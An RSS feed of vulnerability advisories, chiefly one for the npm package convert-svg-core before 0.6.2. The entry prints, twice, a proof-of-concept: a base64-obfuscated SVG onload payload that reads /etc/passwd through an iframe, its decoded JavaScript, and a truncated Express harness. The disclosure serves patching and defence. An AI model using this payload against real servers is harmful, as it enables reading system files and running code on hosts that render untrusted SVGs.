<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 16 Oct 2026 22:45:50 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-171099</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-171099</link>
      <description>EUVD-2026-171099</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-171099</guid>
    </item>
    <item>
      <title>fkie_cve-2022-25759</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2022-25759</link>
      <description>&lt;p&gt;The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2022-25759</guid>
    </item>
    <item>
      <title>GHSA-5gxc-fxcr-9326 — convert-svg-core vulnerable to remote code injection</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-5gxc-fxcr-9326</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: convert-svg-core&lt;/p&gt;
&lt;p&gt;The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;**Payload**&lt;/p&gt;
&lt;p&gt;```html
&amp;lt;svg onload=eval(atob(this.id)) id=&amp;#39;ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=&amp;#39;&amp;gt;&amp;lt;/svg&amp;gt;
```
where the `id` attribute is the base 64-encoded form of&lt;/p&gt;
&lt;p&gt;```js
document.write(&amp;#39;&amp;lt;svg-dummy&amp;gt;&amp;lt;/svg-dummy&amp;gt;&amp;lt;iframe src=&amp;#34;file:///etc/passwd&amp;#34; width=&amp;#34;100%&amp;#34; height=&amp;#34;1000px&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;svg viewBox=&amp;#34;0 0 240 80&amp;#34; height=&amp;#34;1000&amp;#34; width=&amp;#34;1000&amp;#34; xmlns=&amp;#34;http://www.w3.org/2000/svg&amp;#34;&amp;gt;&amp;lt;text x=&amp;#34;0&amp;#34; y=&amp;#34;0&amp;#34; class=&amp;#34;Rrrrr&amp;#34; id=&amp;#34;demo&amp;#34;&amp;gt;data&amp;lt;/text&amp;gt;&amp;lt;/svg&amp;gt;&amp;#39;);
```&lt;/p&gt;
&lt;p&gt;**Attack**&lt;/p&gt;
&lt;p&gt;```js
const { convert } = require(&amp;#39;convert-svg-to-png&amp;#39;);
const express = require(&amp;#39;express&amp;#39;);
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write(&amp;#39;&amp;lt;text x=\&amp;#34;0\&amp;#34; y=\&amp;#34;0\&amp;#34; class=\&amp;#34;Rrrrr\&amp;#34; id=\&amp;#34;demo\&amp;#34;&amp;gt;data&amp;lt;/text&amp;gt;&amp;#39;),document.close()}
const app = express();
app.get(&amp;#39;/poc&amp;#39;, async (req, res)=&amp;gt;{
  try {
    const png = await convert(fileSvg);
    res.set(&amp;#39;Content-Type&amp;#39;, &amp;#39;image/png&amp;#39;);
    res.send(png);
  } catch (e)…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: convert-svg-core&lt;/p&gt;
&lt;p&gt;The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;**Payload**&lt;/p&gt;
&lt;p&gt;```html
&amp;lt;svg onload=eval(atob(this.id)) id=&amp;#39;ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=&amp;#39;&amp;gt;&amp;lt;/svg&amp;gt;
```
where the `id` attribute is the base 64-encoded form of&lt;/p&gt;
&lt;p&gt;```js
document.write(&amp;#39;&amp;lt;svg-dummy&amp;gt;&amp;lt;/svg-dummy&amp;gt;&amp;lt;iframe src=&amp;#34;file:///etc/passwd&amp;#34; width=&amp;#34;100%&amp;#34; height=&amp;#34;1000px&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;svg viewBox=&amp;#34;0 0 240 80&amp;#34; height=&amp;#34;1000&amp;#34; width=&amp;#34;1000&amp;#34; xmlns=&amp;#34;http://www.w3.org/2000/svg&amp;#34;&amp;gt;&amp;lt;text x=&amp;#34;0&amp;#34; y=&amp;#34;0&amp;#34; class=&amp;#34;Rrrrr&amp;#34; id=&amp;#34;demo&amp;#34;&amp;gt;data&amp;lt;/text&amp;gt;&amp;lt;/svg&amp;gt;&amp;#39;);
```&lt;/p&gt;
&lt;p&gt;**Attack**&lt;/p&gt;
&lt;p&gt;```js
const { convert } = require(&amp;#39;convert-svg-to-png&amp;#39;);
const express = require(&amp;#39;express&amp;#39;);
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write(&amp;#39;&amp;lt;text x=\&amp;#34;0\&amp;#34; y=\&amp;#34;0\&amp;#34; class=\&amp;#34;Rrrrr\&amp;#34; id=\&amp;#34;demo\&amp;#34;&amp;gt;data&amp;lt;/text&amp;gt;&amp;#39;),document.close()}
const app = express();
app.get(&amp;#39;/poc&amp;#39;, async (req, res)=&amp;gt;{
  try {
    const png = await convert(fileSvg);
    res.set(&amp;#39;Content-Type&amp;#39;, &amp;#39;image/png&amp;#39;);
    res.send(png);
  } catch (e)…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-5gxc-fxcr-9326</guid>
    </item>
    <item>
      <title>gsd-2022-25759</title>
      <link>https://cve.radiocsirt.org/vuln/gsd-2022-25759</link>
      <description>gsd-2022-25759</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/gsd-2022-25759</guid>
    </item>
  </channel>
</rss>
